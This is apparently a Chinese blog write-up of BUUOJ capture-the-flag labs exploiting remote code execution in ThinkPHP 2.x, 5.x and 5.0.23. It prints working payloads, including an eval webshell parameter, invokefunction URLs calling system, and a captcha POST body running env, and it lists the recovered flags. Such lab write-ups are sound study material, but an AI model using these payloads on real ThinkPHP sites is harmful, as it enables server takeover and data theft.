1. 程式人生 > 其它 >[ThinkPHP]2,5,5.0.23-Rce

[ThinkPHP]2,5,5.0.23-Rce

[ThinkPHP]2-Rce

?s是一個常用的api,然後我們傳入ls命令發現會報錯,報錯資訊中會顯示thinkphp的版本

然後我們只要找到thinkphp2.1的payload達到一個命令執行的效果

?s=/index/index/xxx/${${@eval($_POST[pass])}}

?s=/index/index/xxx/${@phpinfo()}

在php中,${}可以構造變數,如果{}裡面寫的是一般的字元,那麼就會被當成變數,例如${a}會被當成變數$a。

?s=/index/index/xxx/${@phpinfo()}

所以這句話是把phpinfo()作為變數輸出到了頁面顯示,flag就在這些資訊中,Ctrl+F搜尋即可

或者用上面那個一句話,post傳參也可以

或者我們可以用system函式去構造一些命令

pass=system("ls /");

env是環境變數的意思,flag就在環境變數裡

FLAG=flag{37e4044e-f6a6-4b82-bdcd-90c6d88b99fc}

[ThinkPHP]5-Rce

可以用call_user_func_array()這個函式來構造命令執行

flag同樣在環境變數中

http://node4.buuoj.cn:27835/?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=env

http://node4.buuoj.cn:27835/?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][0]=-1

或者在phpinfo中也可以找到flag

FLAG=flag{a0aaca06-5435-40aa-82c7-d16307d6c0c6}

[ThinkPHP]5.0.23-Rce

http://node4.buuoj.cn:26842/?s=captcha

POST:

_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=-1

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=env

FLAG=flag{58214b0e-de30-4acd-898f-9a17a7d07c56}